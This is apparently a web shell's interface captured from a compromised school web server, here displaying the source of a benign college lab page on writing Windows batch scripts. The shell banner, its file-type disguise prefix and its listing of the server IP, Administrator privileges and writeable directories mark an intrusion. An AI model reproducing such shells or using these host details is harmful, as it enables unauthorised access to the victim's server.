GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1861/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1861/Lab03.php
<?
// JimMartinson/CST1861/Lab03.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 3;
$assignmentType = "Lab";
$assignmentTitle = "Command scripts";
$evaluationType = "Lab";
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');

$userFullName = str_replace(" ","",$_SESSION['userFullName']);
?>
<style type="text/css">
pre {
	line-height:1.0em;
}
</style>

<p>
<fieldset><legend>Description</legend><span class="normal">
Create batch programs. <b class="error">This assignment is now due before class on Tuesday, 04/27.</b>
</span></fieldset>

<fieldset><legend>Lab Instruction</legend><span class="normal">
<ol>
<li><b>Write and hand in five of the following command scripts.</b>
<ol type="i">
  <!-- apath.cmd -->
	<li><b>Create the command script: apath.cmd.</b>
<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: apath.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

<span style="color:#FF0000; background-color:#FFFF00">:: Test if command line extensions are enabled.</span>
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
<span style="background-color:#99FF99">:Help</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Display help.</span>
echo Adds a new path to the Path environmental variable.
echo.
echo Usage: %~n0 [/a^|/p] [/c] [dir_path]
echo.
echo         /a = Append the dir_path to the end of the Path.
echo              This is the default.
echo         /c = Create the dir_path if it does not exist.
echo         /p = Prepend the dir_path to the beginning of the Path.
echo   dir_path = The dir_path to append or prepend to the Path.
echo              If dir_path is not given the current directory is added to the path.
echo.
goto:EOF

<span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span>
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">:: NOTES:
:: Only /a or /p should be allowed, never both.
:: If a flag is duplicated display an error.
:: If the dir_path does not exist display an error unless the /c flag is used.
:: If the /c flag is used and the dir_path cannot be created display an error.
:: If the dir_path is already on the path do not add it.
:: If there is an error display help as well.
:: Display the path at the end - even if unchanged.
:: I used the following commands or variables when writing apath:
:: <b>call</b>, <b>cd</b>, <b>echo</b>, <b>echo off</b>, <b>echo.</b>, <b>for /f</b>, <b>goto</b>,<b>if "string"=="string"</b>, <b>if /I</b>, <b>if NOT</b>,
:: <b>if defined</b>, <b>if equation ( command ) else ( command )</b>, <b>md</b>, <b>path</b>, <b>set</b>, <b>shift</b>, 
:: <b>%~0</b>, <b>%~n0</b>, and <b>%Path%</b>.</span>
    </pre>
  </li>
  <!-- drivefree.cmd -->
	<li><b>Create the command script: drivefree.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: drivefree.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

<span style="color:#FF0000; background-color:#FFFF00">:: Test if command line extensions are enabled.</span>
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
<span style="background-color:#99FF99">:Help</span>
echo Show free space on the current drive.
echo.
echo Usage: %~n0 [/a^|drive:]
echo.
echo       /a = Show free space for all drives.
echo   drive: = The drive to show free space for.
echo            The default is the current drive.
echo.
goto:EOF

<span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span>
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">:: NOTES:
:: I used the following commands or variables when writing apath:
:: <b>call</b>, <b>dir</b>, <b>echo</b>, <b>echo off</b>, <b>echo.</b>, <b>echo.</b>, <b>echo.</b>, <b>echo.</b>, <b>find</b>, <b>for</b>, <b>for /f</b>, <b>goto</b>, <b>goto:EOF</b>,
:: <b>if "string"=="string" </b>, <b>if %errorlevel%==</b>, <b>if /I</b>, <b>if NOT</b>, <b>if NOT defined</b>,
:: <b>if equation ( command ) else ( command )</b>, <b>set</b>, <b>%~0</b>, <b>%~n0</b>, and <b>%1</b></span>
    </pre>
  </li>
  <!-- rpath.cmd -->
	<li><b>Create the command script: rpath.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: rpath.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

<span style="color:#FF0000; background-color:#FFFF00">:: Test if command line extensions are enabled.</span>
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
<span style="background-color:#99FF99">:Help</span>
echo Remove a directory path from the Path.
echo.
echo Usage: %~n0 [dir_path]
echo.
echo   dir_path = The directory path to remove from the Path.
goto:EOF

<span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span>
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
:: If dir_path is not given or does not exist display an error.
:: I used the following commands or variables when writing apath:
:: <b>call</b>, <b>echo</b>, <b>echo off</b>, <b>echo.</b>, <b>endlocal</b>, <b>for /f</b>, <b>goto</b>, <b>goto:EOF</b>, <b>if "string"=="string"</b>,
:: <b>if /i</b>, <b>if NOT</b>, <b>if NOT defined</b>, <b>if NOT exist</b>, <b>path</b>, <b>set</b>, <b>setlocal</b>, <b>shift</b>, <b>%path%</b>, <b>%~0</b>,
:: <b>%~1</b>, and <b>%~n0</b>.
</span>
    </pre>
  </li>
	<!-- ff.cmd -->
  <li><b>Create the command script: ff.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: ff.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

<span style="color:#FF0000; background-color:#FFFF00">:: Test if command line extensions are enabled.</span>
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
<span style="background-color:#99FF99">:Help</span>
echo Find a File (ff). %~n0 will display where the file is found, the file size, 
echo the date created, the date last modified, and the date last accessed.
echo.
echo Usage: %~n0 filename[.ext] [dir_path]
echo.
echo  filename = The name of the file you want to find.
echo      .ext = The extension of the filename you want to find (Optional).
echo             If no .ext is given then the file extensions defined by the PATHEXE
echo             variable are searched for.
echo  dir_path = The directory path to search for the file. Subdirectories of 
echo             dir_path will also be searched.
echo             If no dir_path is given then the local directory and the directories
echo             defined by the Path variable are searched.
goto:EOF

<span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span>
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
:: The where comamnd does most of this for you. Then 'dir /t' gets the dates.
:: Example: 'ff cmd' could output something like the following:
:: cmd.exe found in C:\WINDOWS\system32\
:: File size: 389,120 bytes.
:: Date created:  08/04/2004 12:56 AM.
:: Last modified: 04/14/2008 05:42 AM.
:: Last accessed: 04/15/2010 08:12 AM.
:: I used the following commands or variables when writing apath:
:: <b>call</b>, <b>dir</b>, <b>echo</b>, <b>echo off</b>, <b>echo.</b>, <b>find</b>, <b>for /f</b>, <b>goto</b>, <b>goto:EOF</b>, <b>if "string"=="string"</b>,
:: <b>if NOT</b>, <b>set</b>, <b>shift</b>, <b>where</b>, <b>%~1</b>, and <b>%~n0</b>
</span>
    </pre>
  </li>
	<!-- ??.cmd -->
  <li><b>Describe and create the help section for a command script you would find useful: ??.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: ??.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

<span style="color:#FF0000; background-color:#FFFF00">:: Test if command line extensions are enabled.</span>
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
<span style="background-color:#99FF99">:Help</span>
echo script_description_goes_here.
echo.
echo Usage: %~n0 parameter_list_goes_here
echo.
echo   parameter = parameter_description_goes_here.
goto:EOF

<span style="background-color:#99FF99">:ExtensionsAreNotEnabled</span>
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00;">::NOTES:
::    script_description_goes_here = The description of what your script would do.
::        parameter_list_goes_here = this is your list of parameters.
::                                   Your script may not have any.
::                       parameter = one of your parameters.
:: parameter_description_goes_here = description of the parameter.
</span>
    </pre>
  </li>
</ol>
</li>
    	<li>Zip up your five batch files as <?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following file:
      	<br /><?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li>

</ol>
</span></fieldset>

<fieldset class="pio"><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 25 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</span></fieldset>

<fieldset class="pio"><legend>Objectives</legend><span class="normal">
<ol class="obj pio" start="3">
	<!-- 1 3 -->
	<li>Create a command scripts.</li>
</ol>
</span></fieldset>

<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team